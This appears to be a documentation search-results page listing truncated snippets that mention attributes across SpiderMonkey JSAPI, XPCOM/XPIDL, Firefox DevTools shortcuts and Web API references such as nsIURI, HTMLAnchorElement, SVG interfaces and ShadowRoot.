attributes, getter, and setter of a specified property. syntax jsbool js_getpropertyattrsgetterandsetter(jscontext *cx, jsobject *obj, const char *name, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); jsbool js_getucpropertyattrsgetterandsetter(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); jsbool js_getpropertyattrsgetterandsetterbyid(jscontext *cx, jsobject *obj, jsid id, unsigned int *attrsp, jsbool *foundp, jspropertyop *getterp, ...
...ed int *attrsp, jsbool *foundp, jspropertyop *getterp, jspropertyop *setterp); // added in spidermonkey 1.8.1 name type description cx jscontext * the context in which to perform the property lookup. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object from which to retrieve property
attributes. name or id const char * or const jschar * or jsid the name of the property to examine. namelen size_t (only in js_getucpropertyattrsgetterandsetter) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated. attrsp unsigned int * out parameter. pointer to the storage area into which to place retrieves
attributes. ...
...meter. flag indicating whether or not the specified property was located. getterp jspropertyop * out parameter. on success, *getterp receives a pointer to the getter function for the specified property. setterp jspropertyop * out parameter. on success, *setterp receives a pointer to the setter function for the specified property. ...
...And 2 more matches
JSAPI reference
functions are lower-level, allowing the jsapi application more access to details of how properties are implemented. "define" is a lower-level version of "set" that provides access to extra settings and does not call setters. similarly, "lookup" is a lower-level version of "get" that offers extra options and does not call getters. ...
...rscope obsolete since jsapi 18 js_clearnonglobalobject added in spidermonkey 18 obsolete since jsapi 34 js_defineownproperty added in spidermonkey 1.8.5 obsolete since jsapi 33 js_definepropertywithtinyid obsolete since jsapi 30 js_defineucpropertywithtinyid obsolete since jsapi 30 js_getpropertydefault obsolete since jsapi 26 js_getpropertybyiddefault obsolete since jsapi 26 js_getproperty
attributes obsolete since jsapi 26 js_getucproperty
attributes obsolete since jsapi 26 js_getpropertyattrsgetterandsetter obsolete since jsapi 26 js_getucpropertyattrsgetterandsetter obsolete since jsapi 26 js_getpropertyattrsgetterandsetterbyid obsolete since jsapi 26 js_lookupproperty obsolete since jsapi 37 js_lookupucproperty obsolete since jsapi 37 js_lookuppropertybyid obsolete since jsapi 37 ...
... js_getmethod obsolete since jsapi 23 js_getmethodbyid obsolete since jsapi 23 a spidermonkey extension allows a native function to return an lvalue—that is, a reference to a property of an object:...
...And 2 more matches
Starting WebLock
course it's very much like the omg idl upon which it is closely based. the xpidl for iweblock appears below: iweblock #include "nsisupports.idl" interface nsisimpleenumerator; [scriptable, uuid(ea54eee4-9548-4b63-b94d-c519ffc91d09)] interface iweblock : nsisupports { void lock(); void unlock(); // assume strings are utf-8 void addsite(in string url); void removesite(in string url);
attribute nsisimpleenumerator sites; }; the first line includes the file nsisupports.idl, which defines the nsisupports interface from which all xpcom interfaces must derive, and makes it possible for the iweblock interface to subclass that base interface. #include "nsisupports.idl" the next line of the xpidl is a forward declaration of the interface nsisimpleenumerator. again, this is similar to the ...
...s the cid. subclassing nsisupports the next line in iweblock names the interface and defines its base interface. iweblock derives from nsisupports. xpidl has no way to define multiple inheritance - something that all scriptable objects must deal with. interface iweblock : nsisupports the web locking interface the body of the block (the stuff between the curly braces) defines the methods and
attributes of our interface. there are basically two functional sets on this interface. the first section of the interface controls whether or not weblock checks to see if a web page can be loaded. if locked, weblock will prevent sites not on the white list from loading. void lock(); void unlock(); this interface does not enforce any policy with respect to how the user enables or disables this featu...
...asking the user for a password before calling unlock. another area of code, such as a "profile manager" that starts up and lets users choose which profile to use, may unconditionally call unlock on such a component when switching a profile. the next set of functionality manages the white list where acceptable domains are stored: void addsite(in string url); void removesite(in string url);
attribute nsisimpleenumerator sites; operations in this set - add, remove, and enumerate - will be called from a user interface that manages the white list and adds the current website to the white list. there is no policy applied to what sites get added or removed to this list, or who can remove a site. the most interesting method definition is the enumerator. first of all, it does not look like a meth...
...And 2 more matches
Introduction to XPCOM for the DOM
hat our interface, nsidomfabian, will do. for the purpose of this document, i have chosen to implement a new html interface called nsidomfabian. it will be implemented by the class nshtmldocument. the syntax of xpidl is straightforward: #include "domstubs.idl"; [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsidomfabian : nsisupports { void fabian(); readonly
attribute boolean neat; }; this is the definition of the nsidomfabian interface. the uuid of the interface is a unique identifier. every interface needs one. you can generate them using guidgen on windows, or by issuing the command "mozbot uuid" in #mozilla on irc.mozilla.org. at compile-time, the xpidl compiler will turn this interface definition into real c++ code, a header file that will contain ...
... nsisupports { public: ns_imethod fabian(void) = 0; ns_imethod getneat(prbool *aneat) = 0; }; #define ns_decl_nsidomfabian #define ns_forward_nsidomfabian(_to) #define ns_forward_safe_nsidomfabian(_to) as we can see, the auto-generated header file contains the iid of our interface, and a "pure abstract class" is correctly defined. the xpidl compiler turns the idl methods and
attributes into c++ functions according to the following rules: the methods of the interface keep the same name in c++ . however in idl we have to use the so-called "intercaps" model. that means that the first letter is lower-cased, and the other letters that begin a new word are upper-cased. for example, in idl we'd write getelementbyid, which in c++ would be translated to getelementbyid. ns_imethod is ...
...ercaps" model. that means that the first letter is lower-cased, and the other letters that begin a new word are upper-cased. for example, in idl we'd write getelementbyid, which in c++ would be translated to getelementbyid. ns_imethod is a macro that basically means "virtual nsresult". the argument list and return type are turned into correct c++ types according to rules not described here. the
attributes of the interface become two functions: a getter, and a setter. in our example, since the
attribute is declared as read-only, only a getter is defined: getneat. the argument is a pointer to an object of type prbool, automatically generated by xpidl. clever uh. note that the same intercaps model applies to idl
attributes as well. the three macros are explained in detail in section 1.e.d. the next...
...And 2 more matches
IAccessible2
other-licenses/ia2/accessible2.idlnot scriptable please add a summary to this article. ...
... other-licenses/ia2/accessible2.idlnot scriptable please add a summary to this article. ...
...s_ok. extendedrole() returns the extended role. an extended role is a role which is dynamically generated by the application. it is not predefin...
...And 2 more matches
nsIBrowserSearchService
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-service;1. to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or
attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. this is not an issue if your code is executed in reaction to a user interaction, as initialization is complete by then, but this is an issue if your code is executed during startup. if you need to write code that is executed during startup and makes use of nsibrowsersearch...
...may be null if there are no visible search engines. defaultengine nsisearchengine the default search engine. returns the first visible engine if the default engine is hidden. may be null if there are no visible search engi...
...may be null if there are no visible search engines. defaultengine nsisearchengine the default search engine. returns the first visible engine if the default engine is hidden. may be null if there are no visible search engines. read only. ...
...And 2 more matches
nsIContentViewer
can return null. read only. istabmodalpromptallowed boolean read only. ...
...can return null. read only. istabmodalpromptallowed boolean read only. prescontext n...
...obsolete since gecko 2.0 historyentry nsishentry get the history entry that this viewer will save itself into when destroyed. can return null. read only. istabmodalpromptallowed boolean read only. prescontext nsprescontextptr read only. native code only! note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this
attribute was part of nsidocumentviewer. presshell nsipresshellptr read only. native code only! note: prior to gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this
attribute was part of nsidocumentviewer. previousviewer nsicontentviewer the previous content viewer, which has been closed but not destroyed. native code only! sticky ...
...And 2 more matches
nsIDOMFontFace
layout/inspector/public/nsidomfontface.idlscriptable describes a single font face. 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) this object describes a single font. it's returned in a list you can get using inidomutils.getusedfontfaces().
attributes font source
attributes these
attributes indicate how the font was found during the font matching process. note: the same physical font may have been found in multiple ways within a range.
attribute type description fromfontgroup boolean indicates whether or not the font was located in a font group. read only. fromlanguageprefs boolean indicates whether or not the font was located using language preferences. read only. fromsystem...
...may have been found in multiple ways within a range.
attribute type description fromfontgroup boolean indicates whether or not the font was located in a font group. read only. fromlanguageprefs boolean indicates whether or not the font was located using language preferences. read only. fromsystemfallback boolean indicates whether or not the font is the system fallback font. read only.
attributes available for all fonts these
attributes are always available.
attribute type description cssfamilyname domstring a family name that could be used in css font-family (not necessarily the actual name that was used, due to aliases, generics, localized names, and so on). read only. ...
...read only. localname domstring null if not a src:local(...) rule. read only. metadata domstring xml metadata from woff file(if any). read only. ...
...And 2 more matches
nsISocketTransport
see connection flag constants for more details. host autf8string get the host for the underlying socket connection. read only. port long get the p...
...see connection flag constants for more details. host autf8string get the host for the underlying socket connection. read only. port long get the port for the underlying soc...
... get the port for the underlying socket connection. read only. securitycallbacks nsiinterfacerequestor security notification callbacks passed to the secure socket provider via nsisslsocketcontrol at socket creation time. this object supports nsibadcertlistener2 and nsisslerrorlistener for ssl connections, and possibly other interfaces. note: this
attribute cannot be changed once a stream has been opened. securityinfo nsisupports security info object returned from the secure socket provider. this object supports nsisslsocketcontrol, nsitransportsecurityinfo, and possibly other interfaces. this
attribute is only available once the socket is connected. read only. constants timeout type this constan...
...And 2 more matches
nsIURI
netwerk/base/public/nsiuri.idlscriptable this is an interface for an uniform resource identifier with internationalization support, offering
attributes that allow setting and querying the basic components of a uri, and methods for performing basic operations on uris. inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) see the following rfcs for details: rfc3490: internationalizing domain names in applications (idna) rfc3986: uniform resource identifier (uri): generic syntax rfc3987: internationalized resource identifiers subclasses of nsiuri, such as nsiurl, impose further structure on the uri. to create an nsiuri object, you should use nsiioservice.newuri(), like this: function makeuri(aurl, aorigincharset, abaseuri) { var...
...follows the idna draft specification for converting internationalized domain names (utf-8) to ascii for compatibility with existing internet infrastructure. read only. note: ipv6 addresses are not enclosed in square brackets. asciispec a...
...follows the idna draft specification for converting internationalized domain names (utf-8) to ascii for compatibility with existing internet infrastructure. read only. note: ipv6 addresses are not enclosed in square brackets. asciispec acstring (us-ascii) ...
...And 2 more matches
nsIXULTemplateQueryProcessor
an xml query processor might begin at the node referred by the reference variable and end at a list of that node's children. some queries may not need the reference variable if the syntax or the form of the data implies the value. for instance, a datasource that holds a table that can only produce one set of results. the reference variable may be specified in a template by setting the "container"
attribute on the <template> element to the variable to use. the member variable may be specified in a similar way using the "member"
attribute, or it may be specified in the first <action> body in the template as the value of a uri
attribute on an element. a breadth-first search of the first action is performed to find this element. if unspecified, the default value of the reference variable is ?uri. for e...
...n the template, before any results can be generated using generateresults(), but after initializeforbuilding() has been called. this method should not be called again for the same query unless the template is rebuilt. the reference variable may be used by the query processor as a placeholder for the reference point, or starting point in the query. the member variable is determined from the member
attribute on the template, or from the uri in the first action's rule if that
attribute is not present. a rule processor may use the member variable as a hint to indicate what variable is expected to contain the results. nsisupports compilequery( in nsixultemplatebuilder abuilder, in nsidomnode aquery, in nsiatom arefvariable, in nsiatom amembervariable ); parameters abuilder the template builder...
.... aref context reference value used as a starting point. aquery the compiled query returned from query compilation. return value an enumerator of nsixultemplateresult objects as the results. exceptions thrown ns_error_invalid_arg if aquery is invalid. getdatasource() retrieve the datasource to use for the query processor. the list of datasources in a template is specified using the datasources
attribute as a space separated list of uris. this list is processed by the builder and supplied to the query processor in the adatasources array as a list of nsiuri objects or nsidomnode objects. this method may return an object corresponding to these uris and the builder will supply this object to other query processor methods. for example, for an xml source, the datasource might be an nsidomnode. all of ...
...And 2 more matches
nsIAbCard/Thunderbird3
note: this interface has been overhauled completely for thunderbird 3. documentation for the old nsiabcard interface is currently at nsiabcard. the nsiabcard interface is used to represent and manipulate cards in the address book. in a big change from the original nsiabcard, properties are now stored in a hash table instead of as
attributes on the interface, allowing it to be more flexible. properties currently supported on the card: names: firstname, lastname phoneticfirstname, phoneticlastname displayname, nickname spousename, familyname primaryemail, secondemail home contact: homeaddress, homeaddress2, homecity, homestate, homezipcode, homecountry homephone, homephonetype work contact. same as home, but with `work' instead of `home' other cont...
... firstname astring shorthand for getproperty and setproperty. lastname astring shorthand for getproperty and setproperty. displayname astring shor...
... firstname astring shorthand for getproperty and setproperty. lastname astring shorthand for getproperty and setproperty. displayname astring shorthand for getproperty...
...And 2 more matches
XPIDL Syntax
g type_decl = [prop_list] "typedef" type_spec *(ident ",") ident type_decl /= [prop_list] "native" ident [parens] const_decl = "const" type_spec ident "=" expr op_decl = [prop_list] (type_spec / "void") parameter_decls raise_list parameter_decls = "(" [*(param_decl ",") param_decl] ")" param_decl = [prop_list] ("in" / "out" / "inout") type_spec ident attr_decl = [prop_list] ["readonly"] "
attribute" type_spec *(ident ",") ident ; descending order of precedence expr /= expr ("|" / "^" / "&") expr ; unequal precedence "|" is lowest expr /= expr ("<<" / ">>") expr expr /= expr ("+" / "-") expr expr /= expr ("*" / "/" / "%") expr expr /= ["-" / "+" / "~"] (scoped_name / literal / "(" expr ")" ) ; numeric literals: quite frankly, i'm sure you know how these kinds of ; literals work, ...
...ators (appears to be supported in xpidl_header.c but not xpidl_typelib.c) exception declarations module declarations variable arguments (that makes the abnf get more wonky) sequence types max-length strings fixed-point numbers "any" and "long double" types. ...
...typelib.c) exception declarations module declarations variable arguments (that makes the abnf get more wonky) sequence types max-length strings fixed-point numbers "any" and "long double" types. ...
...And 2 more matches
All keyboard shortcuts - Firefox Developer Tools
ow up arrow move to first node in the tree. home home home move to last node in the tree. ...
... home move to last node in the tree. end end end expand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so you can start stepping through
attributes. ...
...xpand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so you can start stepping through
attributes. ...
...And 2 more matches
Page inspector keyboard shortcuts - Firefox Developer Tools
ow up arrow move to first node in the tree. home home home move to last node in the tree. ...
... home move to last node in the tree. end end end expand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so you can start stepping through
attributes. ...
...xpand currently selected node right arrow right arrow right arrow collapse currently selected node left arrow left arrow left arrow (when a node is selected) move inside the node so you can start stepping through
attributes. ...
...And 2 more matches
CSSCounterStyleRule - Web APIs
also inherits properties from its parent cssrule. csscounterstylerule.name is a domstring object that contains the serialization of the <counter-style-name> defined for the associated rule. csscounterstylerule.system is a domstring object that contains the serialization of the system descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.symbols is a domstring object that contains the serialization of the symbols descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.additivesymbols is a domstring object that contains the serialization of the additive-symbols descriptor defin...
...the serialization of the symbols descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.additivesymbols is a domstring object that contains the serialization of the additive-symbols descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.negative is a domstring object that contains the serialization of the negative descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.prefix is a domstring object that contains the serialization of the prefix descriptor defined for the associ...
...ect that contains the serialization of the negative descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.prefix is a domstring object that contains the serialization of the prefix descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.suffix is a domstring object that contains the serialization of the suffix descriptor defined for the associated rule. if the descriptor was not specified in the associated rule, the
attribute returns an empty string. csscounterstylerule.range is a domstring object that contains the serialization of the range descriptor defined for the associated r...
...And 2 more matches
Element: mousewheel event - Web APIs
gative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left. note: on macos, the scroll distance (and therefore the value of detail) is computed based on the accelerated scroll distance. on linux, 2 or -2 is set per native wheel event. wheeldelta, wheeldeltax and wheeldeltay value the wheeldelta
attribute value is an abstract value which indicates how far the wheel turned. if the wheel has rotated away from the user, it's positive, otherwise negative. this means that the delta value sign is different from dom level 3 event's wheel. however, the meaning of the amount of these values is not the same between browsers. see following explanation for the detail. ie and opera (presto) only support wheel...
... is an abstract value which indicates how far the wheel turned. if the wheel has rotated away from the user, it's positive, otherwise negative. this means that the delta value sign is different from dom level 3 event's wheel. however, the meaning of the amount of these values is not the same between browsers. see following explanation for the detail. ie and opera (presto) only support wheeldelta
attribute and do not support horizontal scroll. the wheeldeltax
attribute value indicates the wheeldelta
attribute value along the horizontal axis. when a user operates the device for scrolling to right, the value is negative. otherwise, i.e., if it's to left, the value is positive. the wheeldeltay
attribute value indicates the wheeldelta
attribute value along the vertical axis. the sign of the value is ...
... internet explorer the value is the same as the delta value of windows' wm_mousewheel or wm_mousehwheel. it means that if the mouse wheel doesn't support high resolution scroll, the value is 120 per notch. the value isn't changed even if the scroll amount of system settings is page scroll. ...
...And 2 more matches
Element.querySelectorAll() - Web APIs
al characters for more information. return value a non-live nodelist containing one element object for each descendant node that matches at least one of the specified selectors. note: if the specified selectors include a css pseudo-element, the returned list is always empty. exceptions syntaxerror the syntax of the specified selectors string is not valid. ...
...specified selectors string is not valid. ...
...note" or "alert": var matches = mybox.queryselectorall("div.note, div.alert"); here, we get a list of the document's <p> elements whose immediate parent element is a div with the class "highlighted" and which are located inside a container whose id is "test". ...
...And 2 more matches
Element.shadowRoot - Web APIs
shadowroot = element.shadowroot; value a shadowroot object instance, or null if the associated shadow root was attached with its mode set to closed. (see element.attachshadow() for further details). examples the following snippets are taken from our life-cycle-callbacks example (see it live also), which creates an element that displays a square of a size and color specified in the element's
attributes. inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element. you'll see that we are passing it this (the custom element itself) as a parameter. connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attri...
...callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element. you'll see that we are passing it this (the custom element itself) as a parameter. connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); }
attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element
attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot. from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); ...
... living standard ...
...And 2 more matches
HTMLAnchorElement - Web APIs
including the leading hash mark ('#'), if any, in the referenced url. htmlhyperlinkelementutils.host is a usvstring representing the hostname and port (if it's not the default port) in the referenced url. htmlhyperlinkelementutils.hostname is a usvstring representing the hostname in the referenced url. htmlhyperlinkelementutils.href is a usvstring that is the result of parsing the href html
attribute relative to the document, containing a valid url of a linked resource. htmlanchorelement.hreflang is a domstring that reflects the hreflang html
attribute, indicating the language of the linked resource. htmlanchorelement.media is a domstring that reflects the media html
attribute, indicating the intended media for the linked resource. htmlhyperlinkelementutils.password is a usvstring conta...
...e path name component, if any, of the referenced url. htmlhyperlinkelementutils.port is a usvstring representing the port component, if any, of the referenced url. htmlhyperlinkelementutils.protocol is a usvstring representing the protocol component, including trailing colon (':'), of the referenced url. htmlanchorelement.referrerpolicy is a domstring that reflects the referrerpolicy html
attribute indicating which referrer to use. htmlanchorelement.rel is a domstring that reflects the rel html
attribute, specifying the relationship of the target object to the linked object. htmlanchorelement.rellist read only returns a domtokenlist that reflects the rel html
attribute, as a list of tokens. htmlhyperlinkelementutils.search is a usvstring representing the search element, including lea...
... htmlhyperlinkelementutils.username is a usvstring containing the username specified before the domain name. ...
...And 2 more matches
HTMLElement - Web APIs
s it isn't. htmlelement.iscontenteditable read only returns a boolean that indicates whether or not the content of the element can be edited. htmlelement.contextmenu is a htmlmenuelement representing the contextual menu associated with the element. it may be null. ...
...cates whether or not the content of the element can be edited. htmlelement.contextmenu is a htmlmenuelement representing the contextual menu associated with the element. it may be null. htmlorforeignelement.dataset read only returns a domstringmap with which script can read and write the element's custom data
attributes (data-*) . htmlelement.dir is a domstring, reflecting the dir global
attribute, representing the directionality of the element. possible values are "ltr", "rtl", and "auto". htmlelement.draggable is a boolean indicating if the element can be dragged. htmlelement.dropzone read only returns a domsettabletokenlist reflecting the dropzone global
attribute and describing the behavior of the element regarding a drop operation. htmlelement.hidden is a boolean indicating if ...
...ype read only returns a domsettabletokenlist… htmlelement.itemid is a domstring representing the item id. htmlelement.itemref read only returns a domsettabletokenlist… htmlelement.itemprop read only returns a domsettabletokenlist… htmlelement.itemvalue returns a object representing the item value. htmlelement.lang is a domstring representing the language of an element's
attributes, text, and element contents. htmlelement.nomodule is a boolean indicating whether an import script can be executed in user agents that support module scripts. htmlorforeignelement.nonce returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed. htmlelement.offsetheight read only returns a double contai...
...And 2 more matches
HTMLInputElement.stepDown() - Web APIs
the htmlinputelement.stepdown([n]) method decrements the value of a numeric type of <input> element by the value of the step
attribute or up to n multiples of the step
attribute if a number is passed as the parameter. the method, when invoked, decrements the value by (step * n), where n defaults to 1 if not specified, and step defaults to the default value for step if not specified. valid on all numeric, date, and time input types that support the step
attribute, includingdate, month, week, time, datetime-local, number, and range. given <input id="mytime" type="time" max="17:00" step="900" value="17:00">, invoking mytime.step(3) will change the value to 16:15, decrementing the time by 3 * 900, or 45 minutes. mytime.step(), with no parameter, would have resulted in 16:45, as n defaults to 1. <...
...a negative value for n will increment the value, but will not increment beyond the max value. if the value before invoking the stepdown() ...
... --> <input type="month" max="2019-12" step="12"> the method, when invoked, changes the form control's value by the value given in the step
attribute, multiplied by the parameter, within the constraints set within the form control. the default value for the parameter, if not is passed, is 1. the method will not cause the value to go below the min value set or defy the constraints set by the step
attribute. a negative value for n will increment the value, but will not increment beyond the max value. if the value before invoking the stepdown() method is invalid, for example, if it doesn't match the constraints set by the step
attribute, invoking the stepdown() method will return a value that does match the form controls constraints. if the form control is non time, date, or numeric in nature, and ...
...And 2 more matches
HTMLInputElement.stepUp() - Web APIs
the method, when invoked, increments the value by (step * n), where n defaults to 1 if not specified, and step defaults to the default value for step if not specified. ...
...the method, when invoked, increments the value by (step * n), where n defaults to 1 if not specified, and step defaults to the default value for step if not specified. ...
......
...And 2 more matches
HTMLTableElement - Web APIs
htmltableelement.tbodiesread only returns a live htmlcollection containing all the <tbody> of the element. the htmlcollection is live and is automatically updated when the htmltableelement changes. obsolete properties warning: the following properties are obsolete. you should avoid using them. htmltableelement.align is a domstring containing an enumerated value reflecting the align
attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltableelement.bgcolor is a domstring containing the background color of the cells. it reflects the obsolete bgcolor
attribute. htmltableelement.border is a domstring containing the width in pixels of the border of the table. it reflects t...
...alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltableelement.bgcolor is a domstring containing the background color of the cells. it reflects the obsolete bgcolor
attribute. htmltableelement.border is a domstring containing the width in pixels of the border of the table. it reflects the obsolete border
attribute. htmltableelement.cellpadding is a domstring containing the width in pixels of the horizontal and vertical sapce between cell content and cell borders. it reflects the obsolete cellpadding
attribute. htmltableelement.cellspacing is a domstring containing the width in pixels of the horizontal and vertical separation between cells. it reflects the obsolete cellspacing
attribute. htmltablee...
...tween cell content and cell borders. it reflects the obsolete cellpadding
attribute. htmltableelement.cellspacing is a domstring containing the width in pixels of the horizontal and vertical separation between cells. it reflects the obsolete cellspacing
attribute. htmltableelement.frame is a domstring containing the type of the external borders of the table. it reflects the obsolete frame
attribute and can take one of the following values: "void", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", or "border". htmltableelement.rules is a domstring containing the type of the internal borders of the table. it reflects the obsolete rules
attribute and can take one of the following values: "none", "groups", "rows", "cols", or "all". htmltableelement.summary is a domstring contai...
...And 2 more matches
Drag Operations - Web APIs
these include text selections, images, and links. when an image or link is dragged, the url of the image or link is set as the drag data, and a drag begins. ...
... set the draggable="true" on the element that you wish to make draggable. add a listener for the dragstart event. set the drag data in the above listener. here is an example which allows a section of content to be dragged. <p draggable="true" ondragstart="event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged. ...
...ble. add a listener for the dragstart event. set the drag data in the above listener. here is an example which allows a section of content to be dragged. <p draggable="true" ondragstart="event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged. </p> the draggable
attribute is set to "true", so this element becomes draggable. if this
attribute were omitted or set to "false", the element would not be dragged, and instead the text would be selected. the draggable
attribute may be used on any element, including images and links. however, for these last two, the default value is true, so you would only use the draggable
attribute with a value of false to disable dragging of these elements. note: when an element is made draggable, text o...
...And 2 more matches
SVGAnimatedPathData - Web APIs
svg animated path data interface the svganimatedpathdata interface supports elements which have a 'd'
attribute which holds svg path data, and supports the ability to animate that
attribute. interface overview also implement none methods none properties svgpathseglist animatednormalizedpathseglist svgpathseglist animatedpathseglist svgpathseglist normalizedpathseglist svgpathseglist pathseglist normative document svg 1.1 (2nd edition) properties this interface also inherits properties ...
...g 1.1 (2nd edition) properties this interface also inherits properties from its parent, svgpathelement. ...
...tents of the 'd'
attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z). animatedpathseglist svgpathseglist provides access to the current animated contents of the 'd'
attribute in a form which matches one-for-one with svg's syntax. if the given
attribute or property is being animated, contains the current animated value of the
attribute or property, and both the object itself and its contents are read only. ...
...And 2 more matches
SVGFEConvolveMatrixElement - Web APIs
witch an existing value to this type. svg_edgemode_duplicate 1 corresponds to the duplicate value. svg_edgemode_wrap 2 corresponds to the wrap value. svg_edgemode_none 3 corresponds to none value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfeconvolvematrixelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfeconvolvematrixelement.orderx read only an svganimatedinteger corresponding to the order
attribute of the given element. svgfeconvolvematrixelement.ordery read only an svganimatedinteger corresponding to the order
attribute of the given element. svgfeconvolvematr...
...
attribute of the given element. svgfeconvolvematrixelement.orderx read only an svganimatedinteger corresponding to the order
attribute of the given element. svgfeconvolvematrixelement.ordery read only an svganimatedinteger corresponding to the order
attribute of the given element. svgfeconvolvematrixelement.kernelmatrix read only an svganimatednumberlist corresponding to the kernelmatrix
attribute of the given element. svgfeconvolvematrixelement.divisor read only an svganimatednumber corresponding to the divisor
attribute of the given element. svgfeconvolvematrixelement.bias read only an svganimatednumber corresponding to the bias
attribute of the given element. ...
...takes one of the svg_edgemode_* constants defined on this interface. ...
...And 2 more matches
SVGRectElement - Web APIs
ize="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement. ...
...ddle">svgrectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement. svgrectelement.x read only returns an svganimatedlength corresponding to the x
attribute of the given <rect> element. svgrectelement.y read only returns an svganimatedlength corresponding to the y
attribute of the given <rect> element. ...
...ace also inherits properties from its parent, svggeometryelement. svgrectelement.x read only returns an svganimatedlength corresponding to the x
attribute of the given <rect> element. svgrectelement.y read only returns an svganimatedlength corresponding to the y
attribute of the given <rect> element. svgrectelement.width read only returns an svganimatedlength corresponding to the width
attribute of the given <rect> element. svgrectelement.height read only returns an svganimatedlength corresponding to the height
attribute of the given <rect> element. ...
...And 2 more matches
SVGTests - Web APIs
methods svgtests.hasextension() read only returns true if the browser supports the given extension, specified by a uri. ...
... methods svgtests.hasextension() read only returns true if the browser supports the given extension, specified by a uri. ...
... methods svgtests.hasextension() read only returns true if the browser supports the given extension, specified by a uri. ...
...And 2 more matches
SVGURIReference - Web APIs
the svgurireference interface is used to reflect the href
attribute and the deprecated xlink:href
attribute. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgurireference" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; pointer-ev...
... methods this interface does not provide any specific methods. specifications ...
...ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgurireference.href read only an svganimatedstring that represents the value of the href
attribute, and, on elements that are defined to support it, the deprecated xlink:href
attribute. on getting href, an svganimatedstring object is returned that reflects the href
attribute, and if the element is defined to support the deprecated xlink:href
attribute, additionally reflects that deprecated
attribute. methods this interface does not provide any specific methods. specifications specification status comment scalable vector graphics (svg) 2the...
...And 2 more matches
ShadowRoot - Web APIs
at the specified coordinates. documentorshadowroot.caretpositionfrompoint() returns a caretposition object containing the dom node containing the caret, and caret's character offset within that node. examples the following snippets are taken from our life-cycle-callbacks example (see it live also), which creates an element that displays a square of a size and color specified in the element's
attributes. inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element. you'll see that we are passing it this (the custom element itself) as a parameter. connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); } attri...
